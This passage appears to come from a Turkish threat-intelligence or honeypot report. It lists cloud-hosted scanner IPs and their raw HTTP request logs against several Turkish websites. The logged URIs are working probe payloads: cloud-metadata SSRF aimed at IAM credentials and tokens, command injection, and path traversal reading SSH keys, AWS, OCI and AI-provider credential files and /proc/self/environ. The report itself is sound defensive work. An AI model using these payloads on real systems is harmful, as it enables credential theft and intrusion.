26/Aug/2026:18:57:34 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/proxy?url=http%3A%2F%2F169.254.169.254%2Fmetadata%2Fidentity%2Foauth2%2Ftoken%3Fapi-version%3D2018-02-01%26resource%3Dhttps%3A%2F%2Fmanagement.azure.com%2F
26/Aug/2026:18:57:38 +0300profesyonelweb.com.trGET200SERVICE_ACCOUNT/sa.json
26/Aug/2026:18:57:38 +0300profesyonelweb.com.trGET404SERVICE_ACCOUNT/service_account.json
34.146.46.188 — 41 saldırı imzalı istek / 133 toplam istek

Prefix: 34.146.0.0/16 · Region: asia-northeast1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
12/Sep/2026:11:12:14 +0300profesyonelwebserver.net.trGET200SERVICE_ACCOUNT/sa.json
12/Sep/2026:11:12:19 +0300profesyonelwebserver.net.trGET404SERVICE_ACCOUNT/service_account.json
12/Sep/2026:11:12:25 +0300profesyonelwebserver.net.trGET200CMDI/?command=%60echo+GSCAN_CMDI%60
12/Sep/2026:11:12:25 +0300profesyonelwebserver.net.trGET200CMDI/api/ping?host=%3B+echo+GSCAN_CMDI+%23
12/Sep/2026:11:12:25 +0300profesyonelwebserver.net.trGET200CMDI/?ip=%3B+echo+GSCAN_CMDI+%23
12/Sep/2026:11:12:25 +0300profesyonelwebserver.net.trGET200CMDI/?ping=%60echo+GSCAN_CMDI%60
12/Sep/2026:11:12:25 +0300profesyonelwebserver.net.trGET200CMDI/api/ping?host=%60echo+GSCAN_CMDI%60
12/Sep/2026:11:12:25 +0300profesyonelwebserver.net.trGET200CMDI,EXEC_API/api/exec?cmd=%60echo+GSCAN_CMDI%60
12/Sep/2026:11:12:25 +0300profesyonelwebserver.net.trGET200CMDI,EXEC_API/api/system?cmd=%60echo+GSCAN_CMDI%60
12/Sep/2026:11:12:25 +0300profesyonelwebserver.net.trGET403CMDI/admin/config?cmd=%3B+echo+GSCAN_CMDI+%23
12/Sep/2026:11:12:25 +0300profesyonelwebserver.net.trGET200CMDI/debug?cmd=%3B+echo+GSCAN_CMDI+%23
12/Sep/2026:11:12:25 +0300profesyonelwebserver.net.trGET200CMDI/system?cmd=%60echo+GSCAN_CMDI%60
12/Sep/2026:11:12:25 +0300profesyonelwebserver.net.trGET200CMDI/run?cmd=%60echo+GSCAN_CMDI%60
12/Sep/2026:11:12:26 +0300profesyonelwebserver.net.trGET403CMDI/admin/config?cmd=%60echo+GSCAN_CMDI%60
12/Sep/2026:11:12:28 +0300profesyonelwebserver.net.trGET200AWS_METADATA_SSRF/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
12/Sep/2026:11:12:28 +0300profesyonelwebserver.net.trGET200AWS_METADATA_SSRF/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
12/Sep/2026:11:12:28 +0300profesyonelwebserver.net.trGET200AWS_METADATA_SSRF/fetch?uri=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
12/Sep/2026:11:12:28 +0300profesyonelwebserver.net.trGET200AWS_METADATA_SSRF/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
12/Sep/2026:11:12:28 +0300profesyonelwebserver.net.trGET200AWS_METADATA_SSRF/fetch?uri=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
12/Sep/2026:11:12:28 +0300profesyonelwebserver.net.trGET200AWS_METADATA_SSRF/fetch?path=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
12/Sep/2026:11:12:28 +0300profesyonelwebserver.net.trGET200AWS_METADATA_SSRF/fetch?dest=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
12/Sep/2026:11:12:28 +0300profesyonelwebserver.net.trGET200AWS_METADATA_SSRF/fetch?dest=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
12/Sep/2026:11:12:28 +0300profesyonelwebserver.net.trGET200AWS_METADATA_SSRF/fetch?target=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
12/Sep/2026:11:12:29 +0300profesyonelwebserver.net.trGET200AWS_METADATA_SSRF/api/proxy?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
12/Sep/2026:11:12:29 +0300profesyonelwebserver.net.trGET200AWS_METADATA_SSRF/api/proxy?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
12/Sep/2026:11:12:29 +0300profesyonelwebserver.net.trGET200AWS_METADATA_SSRF/api/url?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
12/Sep/2026:11:12:29 +0300profesyonelwebserver.net.trGET200AWS_METADATA_SSRF/redirect?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
12/Sep/2026:11:12:29 +0300profesyonelwebserver.net.trGET200AWS_METADATA_SSRF/api/redirect?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
12/Sep/2026:11:12:29 +0300profesyonelwebserver.net.trGET200AWS_METADATA_SSRF/api/redirect?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
12/Sep/2026:11:12:29 +0300profesyonelwebserver.net.trGET200AWS_METADATA_SSRF/load?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
12/Sep/2026:11:12:29 +0300profesyonelwebserver.net.trGET200AWS_METADATA_SSRF/load?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
12/Sep/2026:11:12:29 +0300profesyonelwebserver.net.trGET200AWS_METADATA_SSRF/out?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
12/Sep/2026:11:12:29 +0300profesyonelwebserver.net.trGET200AWS_METADATA_SSRF/out?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
12/Sep/2026:11:12:29 +0300profesyonelwebserver.net.trGET200AWS_METADATA_SSRF/out?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
12/Sep/2026:11:12:30 +0300profesyonelwebserver.net.trGET200AWS_METADATA_SSRF/request?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
12/Sep/2026:11:12:30 +0300profesyonelwebserver.net.trGET200GCP_METADATA_SSRF/fetch?url=http%3A%2F%2Fmetadata.google.internal%2FcomputeMetadata%2Fv1%2Finstance%2Fservice-accounts%2Fdefault%2Ftoken
12/Sep/2026:11:12:30 +0300profesyonelwebserver.net.trGET200GCP_METADATA_SSRF/proxy?url=http%3A%2F%2Fmetadata.google.internal%2FcomputeMetadata%2Fv1%2Finstance%2Fservice-accounts%2Fdefault%2Ftoken
12/Sep/2026:11:12:30 +0300profesyonelwebserver.net.trGET200GCP_METADATA_SSRF/fetch?url=http%3A%2F%2Fmetadata.google.internal%2FcomputeMetadata%2Fv1%2Finstance%2Fservice-accounts%2Fdefault%2Femail
12/Sep/2026:11:12:30 +0300profesyonelwebserver.net.trGET200AWS_METADATA_SSRF/fetch?url=http%3A%2F%2F169.254.169.254%2Fmetadata%2Fidentity%2Foauth2%2Ftoken%3Fapi-version%3D2018-02-01%26resource%3Dhttps%3A%2F%2Fmanagement.azure.com%2F
12/Sep/2026:11:12:30 +0300profesyonelwebserver.net.trGET200AWS_METADATA_SSRF/fetch?url=http%3A%2F%2F169.254.169.254%2Fmetadata%2Fidentity%2Foauth2%2Ftoken%3Fapi-version%3D2018-02-01%26resource%3Dhttps%3A%2F%2Fcognitiveservices.azure.com%2F
12/Sep/2026:11:12:30 +0300profesyonelwebserver.net.trGET200AWS_METADATA_SSRF/proxy?url=http%3A%2F%2F169.254.169.254%2Fmetadata%2Fidentity%2Foauth2%2Ftoken%3Fapi-version%3D2018-02-01%26resource%3Dhttps%3A%2F%2Fcognitiveservices.azure.com%2F
34.6.168.74 — 36 saldırı imzalı istek / 113 toplam istek

Prefix: 34.6.0.0/15 · Region: europe-west4

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
10/Aug/2026:11:54:19 +0300teigmo.com.trGET200AWS_CREDENTIALS,BACKUP_DISCOVERY/@fs/root/.aws/credentials.bak?raw??
10/Aug/2026:11:54:19 +0300teigmo.com.trGET200AWS_CREDENTIALS/@fs/home/www-data/.aws/credentials?raw??
10/Aug/2026:11:54:19 +0300teigmo.com.trGET200AWS_CREDENTIALS/@fs/app/.aws/credentials?raw??
10/Aug/2026:11:54:19 +0300teigmo.com.trGET200AWS_CREDENTIALS/@fs/root/.aws/credentials?raw??
10/Aug/2026:11:54:19 +0300teigmo.com.trGET200PASSWD_FILE/@fs/etc/passwd?raw??
10/Aug/2026:11:54:19 +0300teigmo.com.trGET200AWS_CREDENTIALS,BACKUP_DISCOVERY/@fs/root/.aws/credentials.backup?raw??
10/Aug/2026:11:54:19 +0300teigmo.com.trGET200PROC_ENVIRON/@fs/proc/self/environ?raw??
10/Aug/2026:11:54:19 +0300teigmo.com.trGET200AWS_CREDENTIALS/@fs/home/debian/.aws/credentials?raw??
10/Aug/2026:11:54:19 +0300teigmo.com.trGET200AWS_CREDENTIALS/@fs/home/node/.aws/credentials?raw??
10/Aug/2026:11:54:19 +0300teigmo.com.trGET200AWS_CREDENTIALS/@fs/home/ubuntu/.aws/credentials?raw??
10/Aug/2026:11:54:19 +0300teigmo.com.trGET200AWS_CREDENTIALS/@fs/var/www/.aws/credentials?raw??
10/Aug/2026:11:54:19 +0300teigmo.com.trGET200AWS_CREDENTIALS/@fs/home/ec2-user/.aws/credentials?raw??
10/Aug/2026:11:54:19 +0300teigmo.com.trGET200AWS_CREDENTIALS/@fs/var/www/html/.aws/credentials?raw??
10/Aug/2026:11:54:19 +0300teigmo.com.trGET200AWS_CREDENTIALS/@fs/home/admin/.aws/credentials?raw??
10/Aug/2026:11:54:19 +0300teigmo.com.trGET200AWS_CREDENTIALS/@fs/usr/src/app/.aws/credentials?raw??
10/Aug/2026:11:54:19 +0300teigmo.com.trGET200SSH_PRIVATE_KEY/@fs/root/.ssh/id_rsa?raw??
10/Aug/2026:11:54:19 +0300teigmo.com.trGET200WP_CONFIG/@fs/var/www/html/wp-config.php?raw??
10/Aug/2026:11:54:19 +0300teigmo.com.trGET200SSH_PRIVATE_KEY/@fs/root/.ssh/id_ed25519?raw??
10/Aug/2026:11:54:19 +0300teigmo.com.trGET200OCI_SECRET/@fs/root/.oci/config?raw??
10/Aug/2026:11:54:19 +0300teigmo.com.trGET200SERVICE_ACCOUNT/@fs/app/service-account.json?raw??
34.153.189.88 — 34 saldırı imzalı istek / 391 toplam istek

Prefix: 34.153.128.0/18 · Region: europe-west2

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
08/Aug/2026:19:55:14 +0300ergarnakliyat.comGET403AWS_CREDENTIALS/.aws/credentials
08/Aug/2026:19:55:14 +0300ergarnakliyat.comGET403SERVICE_ACCOUNT/service-account.json
08/Aug/2026:19:55:14 +0300ergarnakliyat.comGET403SERVICE_ACCOUNT/firebase-service-account.json
08/Aug/2026:19:55:14 +0300ergarnakliyat.comGET403SERVICE_ACCOUNT/service_account.json
08/Aug/2026:19:55:14 +0300ergarnakliyat.comGET403SSH_PRIVATE_KEY/.ssh/id_ed25519
08/Aug/2026:19:55:15 +0300ergarnakliyat.comGET404WP_CONFIG/wp-config.php.old
08/Aug/2026:22:12:52 +0300ergarnakliyat.comGET403SSH_PRIVATE_KEY/.ssh/id_ed25519
08/Aug/2026:22:12:52 +0300ergarnakliyat.comGET403SERVICE_ACCOUNT/service_account.json
08/Aug/2026:22:12:52 +0300ergarnakliyat.comGET403WP_CONFIG/wp-config.php.bak
35.237.192.115 — 32 saldırı imzalı istek / 276 toplam istek

Prefix: 35.237.0.0/16 · Region: us-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
06/Sep/2026:12:50:04 +0300parasalhaber.com.trGET404OCI_SECRET/.oci/config
06/Sep/2026:12:50:04 +0300parasalhaber.com.trGET404OCI_SECRET/.oci/oci_api_key.pem
06/Sep/2026:12:50:04 +0300parasalhaber.com.trGET404OCI_SECRET/.oci/oci_api_key_public.pem
06/Sep/2026:12:50:05 +0300parasalhaber.com.trGET404OCI_SECRET/.oci/sessions/DEFAULT/oci_api_key.pem
06/Sep/2026:12:50:05 +0300parasalhaber.com.trGET404OCI_SECRET/.oci/sessions/DEFAULT/token
06/Sep/2026:12:50:05 +0300parasalhaber.com.trGET404SSH_PRIVATE_KEY,LOCAL_FILE_URL/__vite_rsc_findSourceMapURL?filename=file:///root/.ssh/id_rsa&environmentName=rsc
06/Sep/2026:12:50:05 +0300parasalhaber.com.trGET404AWS_CREDENTIALS,LOCAL_FILE_URL/__vite_rsc_findSourceMapURL?filename=file:///root/.aws/credentials&environmentName=rsc
06/Sep/2026:12:50:05 +0300parasalhaber.com.trGET404LOCAL_FILE_URL/__vite_rsc_findSourceMapURL?filename=file:///app/.env&environmentName=rsc
06/Sep/2026:12:50:05 +0300parasalhaber.com.trGET404PROC_ENVIRON,LOCAL_FILE_URL/__vite_rsc_findSourceMapURL?filename=file:///proc/self/environ&environmentName=rsc
06/Sep/2026:12:50:05 +0300parasalhaber.com.trGET404PROC_ENVIRON/api/w/starter/jobs_u/get_log_file/../../../../proc/self/environ
06/Sep/2026:12:50:05 +0300parasalhaber.com.trGET404PROC_ENVIRON/api/w/admins/jobs_u/get_log_file/../../../../proc/self/environ
06/Sep/2026:12:50:05 +0300parasalhaber.com.trGET404PROC_ENVIRON/api/w/default/jobs_u/get_log_file/../../../../proc/self/environ
06/Sep/2026:12:50:05 +0300parasalhaber.com.trGET404PROC_ENVIRON/api/fs/read?path=/proc/self/environ&allowOutsideWorkspace=true
06/Sep/2026:12:50:06 +0300parasalhaber.com.trGET404OCI_SECRET/@fs/root/.oci/oci_api_key.pem?raw??
06/Sep/2026:12:50:06 +0300parasalhaber.com.trGET404OCI_SECRET/@fs/root/.oci/config?raw??
06/Sep/2026:12:50:06 +0300parasalhaber.com.trGET404OCI_SECRET/@fs/home/ubuntu/.oci/config?raw??
06/Sep/2026:12:50:06 +0300parasalhaber.com.trGET404OCI_SECRET/@fs/home/ubuntu/.oci/oci_api_key.pem?raw??
06/Sep/2026:12:50:07 +0300parasalhaber.com.trGET404PROC_ENVIRON/userfiles?path=../../../../proc/self/environ
06/Sep/2026:12:50:11 +0300parasalhaber.com.trGET404SERVICE_ACCOUNT/service_account.json
06/Sep/2026:12:50:12 +0300parasalhaber.com.trGET404SSH_PRIVATE_KEY/.ssh/id_ecdsa
34.181.245.13 — 32 saldırı imzalı istek / 73 toplam istek

Prefix: 34.181.128.0/17 · Region: us-east4

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
19/Aug/2026:23:01:29 +0300profesyonelweb.com.trGET404AWS_CREDENTIALS/@fs/root/.aws/credentials?raw??
19/Aug/2026:23:01:29 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?uri=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
19/Aug/2026:23:01:29 +0300profesyonelweb.com.trGET403PASSWD_FILE/?file=../../../../etc/passwd
19/Aug/2026:23:01:30 +0300profesyonelweb.com.trGET404AWS_CREDENTIALS/static../.aws/credentials
19/Aug/2026:23:01:30 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?uri=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
19/Aug/2026:23:01:30 +0300profesyonelweb.com.trGET200PASSWD_FILE/files../etc/passwd
19/Aug/2026:23:01:30 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
19/Aug/2026:23:01:30 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
19/Aug/2026:23:01:30 +0300profesyonelweb.com.trGET404AWS_CREDENTIALS/aws/credentials
19/Aug/2026:23:01:30 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?raw??
19/Aug/2026:23:01:30 +0300profesyonelweb.com.trGET200PASSWD_FILE/@fs/etc/passwd?import&raw??
19/Aug/2026:23:01:30 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?uri=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
19/Aug/2026:23:01:30 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
19/Aug/2026:23:01:30 +0300profesyonelweb.com.trGET404PROC_ENVIRON/proc/self/environ
19/Aug/2026:23:01:30 +0300profesyonelweb.com.trGET200PASSWD_FILE/static../etc/passwd
19/Aug/2026:23:01:30 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?uri=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
19/Aug/2026:23:01:30 +0300profesyonelweb.com.trGET404AWS_CREDENTIALS/@fs/home/ec2-user/.aws/credentials?raw??
19/Aug/2026:23:01:30 +0300profesyonelweb.com.trGET404AWS_CREDENTIALS/.aws/credentials
19/Aug/2026:23:01:30 +0300profesyonelweb.com.trGET200PASSWD_FILE/@fs/etc/passwd?raw??
19/Aug/2026:23:01:30 +0300profesyonelweb.com.trGET404PROC_ENVIRON/proc/self/environ
19/Aug/2026:23:01:30 +0300profesyonelweb.com.trGET403PROC_ENVIRON,LOCAL_FILE_URL/read?url=file:///proc/self/environ
19/Aug/2026:23:01:30 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ
19/Aug/2026:23:01:30 +0300profesyonelweb.com.trGET403PASSWD_FILE/download?file=../../../../etc/passwd
19/Aug/2026:23:01:30 +0300profesyonelweb.com.trGET200PASSWD_FILE/media../etc/passwd
19/Aug/2026:23:01:34 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?target=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
19/Aug/2026:23:01:39 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/proxy?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
19/Aug/2026:23:01:39 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?file=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
19/Aug/2026:23:01:40 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/redirect?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
19/Aug/2026:23:01:40 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?src=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
19/Aug/2026:23:01:49 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/api/preview?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
19/Aug/2026:23:01:49 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?url=http%3A%2F%2F169.254.169.254%2Fmetadata%2Fidentity%2Foauth2%2Ftoken%3Fapi-version%3D2018-02-01%26resource%3Dhttps%3A%2F%2Fmanagement.azure.com%2F
19/Aug/2026:23:01:53 +0300profesyonelweb.com.trGET200SERVICE_ACCOUNT/sa.json
34.156.22.222 — 30 saldırı imzalı istek / 477 toplam istek

Prefix: 34.156.0.0/16 · Region: europe-west1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
13/Sep/2026:16:47:29 +0300durumcubasi.com.trGET404SSH_PRIVATE_KEY/.ssh/id_ed25519
34.139.138.115 — 29 saldırı imzalı istek / 99 toplam istek

Prefix: 34.138.0.0/15 · Region: us-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
14/Aug/2026:09:44:48 +0300parasalhaber.com.trGET404PASSWD_FILE/@fs/etc/passwd?raw??
14/Aug/2026:09:44:49 +0300parasalhaber.com.trGET404CONFIG_SECRET/@fs/app/.anthropic/config.json?raw??
14/Aug/2026:09:44:49 +0300parasalhaber.com.trGET404CONFIG_SECRET/@fs/home/ubuntu/.openai/config.json?raw??
14/Aug/2026:09:44:49 +0300parasalhaber.com.trGET404OCI_SECRET/@fs/root/.oci/config?raw??
14/Aug/2026:09:44:49 +0300parasalhaber.com.trGET404CONFIG_SECRET/@fs/root/.anthropic/config.json?raw??
14/Aug/2026:09:44:49 +0300parasalhaber.com.trGET404CONFIG_SECRET/@fs/root/.config/openai/config.json?raw??
14/Aug/2026:09:44:50 +0300parasalhaber.com.trGET404SERVICE_ACCOUNT/sa.json
14/Aug/2026:09:44:53 +0300parasalhaber.com.trGET404SERVICE_ACCOUNT/serviceAccount.json
14/Aug/2026:09:44:53 +0300parasalhaber.com.trGET200CMDI/?cmd=%3B+echo+GSCAN_CMDI+%23
14/Aug/2026:09:44:53 +0300parasalhaber.com.trGET200CMDI/?command=%3B+echo+GSCAN_CMDI+%23
14/Aug/2026:09:44:53 +0300parasalhaber.com.trGET200CMDI/?ping=%3B+echo+GSCAN_CMDI+%23
14/Aug/2026:09:44:54 +0300parasalhaber.com.trGET200CMDI/?cmd=%60echo+GSCAN_CMDI%60
14/Aug/2026:09:44:54 +0300parasalhaber.com.trGET404CMDI/admin/config?cmd=%3B+echo+GSCAN_CMDI+%23
14/Aug/2026:09:44:54 +0300parasalhaber.com.trGET404CMDI/run?cmd=%3B+echo+GSCAN_CMDI+%23
14/Aug/2026:09:44:54 +0300parasalhaber.com.trGET404CMDI/debug?cmd=%60echo+GSCAN_CMDI%60
14/Aug/2026:09:44:54 +0300parasalhaber.com.trGET404CMDI/system?cmd=%60echo+GSCAN_CMDI%60
14/Aug/2026:09:44:56 +0300parasalhaber.com.trGET404AWS_METADATA_SSRF/fetch?uri=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
14/Aug/2026:09:44:56 +0300parasalhaber.com.trGET404AWS_METADATA_SSRF/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
14/Aug/2026:09:44:56 +0300parasalhaber.com.trGET404AWS_METADATA_SSRF/fetch?dest=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
14/Aug/2026:09:44:56 +0300parasalhaber.com.trGET404AWS_METADATA_SSRF/fetch?target=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
14/Aug/2026:09:44:56 +0300parasalhaber.com.trGET404AWS_METADATA_SSRF/fetch?target=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
14/Aug/2026:09:44:56 +0300parasalhaber.com.trGET404AWS_METADATA_SSRF/proxy?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
14/Aug/2026:09:44:56 +0300parasalhaber.com.trGET404AWS_METADATA_SSRF/api/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
14/Aug/2026:09:44:56 +0300parasalhaber.com.trGET404AWS_METADATA_SSRF/api/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
14/Aug/2026:09:44:56 +0300parasalhaber.com.trGET404AWS_METADATA_SSRF/url?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
14/Aug/2026:09:44:56 +0300parasalhaber.com.trGET404AWS_METADATA_SSRF/redirect?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
14/Aug/2026:09:44:56 +0300parasalhaber.com.trGET404AWS_METADATA_SSRF/api/redirect?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
14/Aug/2026:09:44:56 +0300parasalhaber.com.trGET404AWS_METADATA_SSRF/load?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
14/Aug/2026:09:44:56 +0300parasalhaber.com.trGET404AWS_METADATA_SSRF/webhook?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Fsecurity-credentials%2F
34.125.152.250 — 29 saldırı imzalı istek / 46 toplam istek

Prefix: 34.125.0.0/16 · Region: us-west4

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
11/Aug/2026:20:46:58 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?raw??
11/Aug/2026:20:46:58 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ
11/Aug/2026:20:46:58 +0300profesyonelweb.com.trGET200PASSWD_FILE/media../etc/passwd
11/Aug/2026:20:46:58 +0300profesyonelweb.com.trGET200PASSWD_FILE/static../etc/passwd
11/Aug/2026:20:46:58 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?uri=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
11/Aug/2026:20:46:58 +0300profesyonelweb.com.trGET404PROC_ENVIRON/proc/self/environ
11/Aug/2026:20:46:58 +0300profesyonelweb.com.trGET200PASSWD_FILE/@fs/etc/passwd?raw??
11/Aug/2026:20:46:58 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
11/Aug/2026:20:46:58 +0300profesyonelweb.com.trGET200PASSWD_FILE/@fs/etc/passwd?import&raw??
11/Aug/2026:20:46:58 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?uri=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
11/Aug/2026:20:46:58 +0300profesyonelweb.com.trGET200PASSWD_FILE/files../etc/passwd
11/Aug/2026:20:47:01 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
11/Aug/2026:20:47:01 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?uri=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
11/Aug/2026:20:47:02 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?path=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
11/Aug/2026:20:47:02 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?path=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
11/Aug/2026:20:47:02 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?dest=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
11/Aug/2026:20:47:02 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?dest=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
11/Aug/2026:20:47:03 +0300profesyonelweb.com.trGET200PASSWD_FILE/files../etc/passwd
11/Aug/2026:20:47:04 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?target=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
11/Aug/2026:20:47:04 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?target=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2Fiam%2Finfo
11/Aug/2026:20:47:05 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?import&raw??
11/Aug/2026:20:47:05 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/redirect?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
11/Aug/2026:20:47:06 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/fetch?dest=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
11/Aug/2026:20:47:08 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/proxy?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
11/Aug/2026:20:47:08 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/api/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
11/Aug/2026:20:47:09 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/api/v1/fetch?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
11/Aug/2026:20:47:11 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/api/webhook?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
11/Aug/2026:20:47:12 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/api/proxy?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
11/Aug/2026:20:47:13 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/api/download?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
34.38.22.80 — 28 saldırı imzalı istek / 392 toplam istek

Prefix: 34.38.0.0/16 · Region: europe-west1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
12/Aug/2026:06:53:54 +0300ergarnakliyat.comGET403AWS_CREDENTIALS/.aws/credentials
